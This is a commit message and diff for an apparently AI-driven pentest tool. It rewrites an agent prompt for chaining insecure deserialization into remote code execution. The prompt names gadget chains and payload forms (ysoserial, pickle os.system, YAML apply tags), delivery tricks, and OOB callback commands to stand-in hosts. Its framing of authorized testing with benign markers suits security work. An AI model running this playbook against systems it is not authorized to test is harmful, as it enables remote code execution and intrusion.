feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/chains/chain_deserialization_to_rce.md

@@ -6,21 +6,36 @@ You are executing a multi-stage ATTACK CHAIN against **{target}**: untrusted des
 **Recon Context / prior findings:**
 {recon_json}
 
-**GOAL:** Turn a deserialization sink into reliable code execution.
+**GOAL:** Turn a deserialization sink into reliable, PROVEN code execution — with the smallest safe payload.
 
 **CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:**
 
-### Stage 1. Locate the sink
-- Identify where attacker data is deserialized (cookie/param/file/RPC); fingerprint the format/library
+### Stage 1. Locate the sink and fingerprint the format
+- Find where attacker-controlled bytes are deserialized: session/auth cookies, hidden form fields, `viewstate`, query/body params, message queues (AMQP/Kafka), caches (Redis/Memcached values), file uploads, RPC/`ObjectInputStream` endpoints, websocket frames.
+- Fingerprint the serializer from the wire bytes BEFORE choosing a gadget:
+  - Java: `rO0` (base64 of `0xAC ED 00 05`), `application/x-java-serialized-object`; look for `AC ED 00 05` raw.
+  - .NET: `AAEAAAD/////` (BinaryFormatter), `__VIEWSTATE`, `ObjectStateFormatter`, Json.NET `$type`.
+  - Python: pickle opcodes (`\x80\x04`, trailing `.`), `yaml.load` on user YAML, `jsonpickle`.
+  - PHP: `O:<len>:"Class"` / `a:<n>:{...}` in cookies/params (`unserialize`).
+  - Ruby: Marshal `\x04\x08`; Node: `node-serialize` `_$$ND_FUNC$$_`.
+- Confirm the input actually reaches a native/unsafe deserializer (not just JSON parsing). Note the class-path / library versions from recon — the gadget depends on them.
 
-### Stage 2. Build the gadget
-- Select a working gadget chain (ysoserial/ysoserial.net/PyYAML/pickle) for the target stack
+### Stage 2. Build the gadget chain for THIS stack
+- Java: `ysoserial` — pick the chain matching a library ON the classpath (`CommonsCollections1-7`, `Spring1/2`, `Groovy1`, `Hibernate1`, `JRMPClient`, `URLDNS` for a blind existence check first). Start with `URLDNS` to prove the sink deserializes before firing an exec gadget.
+- .NET: `ysoserial.net` (`TypeConfuseDelegate`, `ObjectDataProvider`, `WindowsIdentity`) matched to the formatter (BinaryFormatter/LosFormatter/Json.NET/DataContract).
+- Python: pickle `__reduce__` returning `(os.system,(cmd,))`; `yaml.load` → `!!python/object/apply:os.system`.
+- PHP: craft the POP chain from `__wakeup`/`__destruct` magic methods present in the app's own classes (use `phpggc` for known frameworks: Laravel, Symfony, Monolog, Guzzle).
+- Ruby: Marshal universal gadget; Node `node-serialize` IIFE. 
+- Keep the command BENIGN: a unique OOB callback or a single read (`id`, `hostname`, echo of a random marker) — never destructive.
 
-### Stage 3. Execute
-- Deliver the payload to the sink
+### Stage 3. Deliver the payload to the sink
+- Re-encode exactly as the wire format expects (base64, URL-encode, cookie value, multipart) and preserve any wrapping (gzip, signed envelope — note if a signing key/HMAC blocks tampering; if signed, look for the key leak first).
+- Deliver via the SAME channel recon found (cookie replay, param, upload). Watch length/type limits; use `JRMPListener`/`ysoserial exploit` mode for staged Java payloads when inline size is capped.
 
-### Stage 4. Confirm
-- Prove execution via OOB callback or command output with a unique marker
+### Stage 4. Confirm execution (unique marker, not inference)
+- Blind: OOB DNS/HTTP callback carrying a per-attempt nonce (`curl http://<nonce>.oob` / `nslookup <nonce>.oob`) — correlate the nonce to THIS payload.
+- Semi-blind: reflect `id`/`whoami`/`hostname` output into a response field or a file you can read back.
+- Record the raw request AND the raw callback/output. No callback and no output ⇒ the stage is NOT proven; report only up to the last proven stage.
 
 ### 5. Report Format
 Report the chain as ONE finding (plus per-stage evidence):
@@ -29,14 +44,14 @@ FINDING:
 - Title: Insecure Deserialization → RCE Chain
 - Severity: Critical
 - CWE: CWE-502
-- Endpoint: [entry point]
-- Vector: [the full chain, stage by stage]
-- Payload: [the key payloads/commands per stage]
-- Evidence: [raw output proving EACH stage actually executed]
-- Impact: Remote code execution via unsafe object deserialization
-- Remediation: Never deserialize untrusted data; allowlist types; safe formats
-- chains_from: [ids of the prerequisite findings this builds on]
+- Endpoint: [entry point + the exact parameter/cookie/field]
+- Vector: [serializer fingerprint → gadget chain → sink → confirmation, stage by stage]
+- Payload: [the key payloads/commands per stage, benign marker shown]
+- Evidence: [raw request + raw OOB callback/command output proving EACH stage — quote the bytes]
+- Impact: Remote code execution as [user] on [host] via unsafe object deserialization
+- Remediation: Never deserialize untrusted data; allowlist expected types; use data-only formats (JSON without type binding); sign+verify any serialized state; patch the vulnerable gadget library
+- chains_from: [ids of the prerequisite findings this builds on, e.g. the leaked signing key or the exposed cookie]
 ```
 
 ## System Prompt
-You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.
+You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. A `URLDNS`/OOB existence check comes before any exec gadget. Choose the gadget from libraries actually present on the target's classpath/stack, not a guess. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. Keep every payload benign (a unique marker, a single read, an OOB ping) — no destructive/DoS actions. Each reported stage must carry its own evidence. AUTHORIZED engagement. Credits: Joas A Santos & Red Team Leaders.